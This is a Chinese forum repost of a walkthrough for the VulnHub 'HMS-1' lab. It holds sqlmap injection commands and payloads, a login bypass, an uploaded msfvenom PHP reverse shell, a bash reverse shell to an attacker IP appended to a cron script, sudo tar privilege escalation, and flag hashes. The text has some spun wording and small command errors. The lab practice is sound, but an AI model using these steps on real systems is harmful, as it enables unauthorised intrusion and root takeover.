『vulnhub系列』HMS-1

打印 上一主题 下一主题

主题 926|帖子 926|积分 2778

『vulnhub系列』HMS?-1

下载地点:
  1. https://www.vulnhub.com/entry/hms-1,728/
复制代码
信息搜集:

利用nmap举行存活主机探测,发现开启了21端口(ftp)和22端口(ssh)

匿名登录ftp看看里面有什么东西,发现什么都没有
  1. ftp 192.168.199.133
  2. #使用anonymous登录,无需输入密码
复制代码

举行全面扫描,发现开启了7080端口
  1. nmap 192.168.199.133 -p 1-65535
复制代码

访问7080端口的服务发现存在一个登录页面

利用dirsearch举行目次扫描
  1. dirsearch -u "http://192.168.199.133:7080/"
复制代码

在登录页面查看是否存在sql注入,发现确实存在,一个报错注入一个盲注
  1. sqlmsqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login="
复制代码

查看数据库
  1. sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" --dbs
复制代码

查看数据库中的表
  1. sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' --tables
复制代码

查看admin表中的字段,发现邮箱为 ndbhalerao91@gmail.com ,但是我们发现密码并不是明文
  1. sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' -T 'admin' --dump
复制代码

毛病利用:

我们之前发现,是存在报错注入的并且看payload是通过单引号闭合的
  1. Payload: user=admin&email=admin@123' OR (SELECT 9709 FROM(SELECT COUNT(*),CONCAT(0x7170707671,(SELECT (ELT(9709=9709,1))),0x716b706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- nnPx&password=asd&btn_login=
复制代码

我们利用万能密码发现带有前端验证

我们利用burp抓包,利用Repeater确认一下,发现Login Successfully
  1. user=admin&email=ndbhalerao91%40gmail.com' or 1=1 #&password=asd&btn_login=
复制代码

我们放包,登录成功

找了半天,没有发现什么地方可疑,我们再利用另一个工具扫描一下目次,由于并没有登录,以是这些302的跳转页面,其实也是存在的
  1. gobuster dir -u "http://192.168.199.133:7080/" -w /usr/share/wordlists/dirb/big.txt -x .php
复制代码

我们发现了setting页面,存在文件上传页面。上传利用msfvenom 生成的反弹shell
  1. msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.199.129 lport=4444 -o re_shell.php
复制代码

然后发现上面出现了一串图片

新标签页访问,发现新的目次/uploadImage

最后在/uploadImage/Logo/ 中发现我们的re_shell.php

此时在我们的攻击机开启监听
  1. msfconsole
  2. use exploit/multi/handler
  3. set lhost 192.168.199.133
  4. set payload php/meterpreter/reverse_tcp
  5. run
复制代码

反弹成功

提升权限:

查看具有SUID权限的命令,发现/usr/bin/bash我们可以借此切换用户
  1. find / -perm -u=s -type f 2>/dev/null
复制代码

利用命令,成功切换为eren 用户
  1. /usr/bin/bash -p
复制代码

但是利用命令sudo -l发现照旧要输入密码,因此此时我们的eren用户的权限并不完整
我们查看计划任务
  1. cat /etc/crontab
复制代码

发现一条计划任务*/5 * * * * eren /home/eren/backup.sh
  1. 关于计划任务:
  2. *  *  *  *  *
  3. 分 时 日 月 周
  4. 而对于这条命令意思就是每五分钟执行一次
  5. */5 * * * * eren /home/eren//backup.sh
复制代码
可以看到这个文件恰好早eren的家目次下。那么我们刚刚切换为eren用户的操纵就可以用到了,利用eren权限我们将反弹shell写入/backup.sh
  1. echo "bash -i >& /dev/tcp/192.168.199.129/7777 0>&1" >> /home/eren/backup.sh
复制代码
之后在攻击机利用nc等候
  1. nc -lvp 7777
复制代码

连接成功,得到完整的eren用户权限
利用命令sudo -l 查看用户可以在呆板上运行的命令,发现tar命令可以以root权限执行
现在我们利用tar的sudo提权
  1. sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
复制代码

  • -cf /dev/null /dev/null  将/dev/null 打包为 /dev/null
  • -c 打包
  • -f 打包为f后面的名字
  • --checkpoint=1 每打包一个文件就到达一个查抄点
  • --checkpoint-action=exec=/bin/sh 到达查抄点后执行的命令
得到root权限

成果:

/home/nivek/local.txt :
  1. 3bbf8c168408f1d5ff9dfd91fc00d0c1
复制代码
/root/root.txt:
  1. 299c10117c1940f21b70a391ca125c5d
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

鼠扑

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表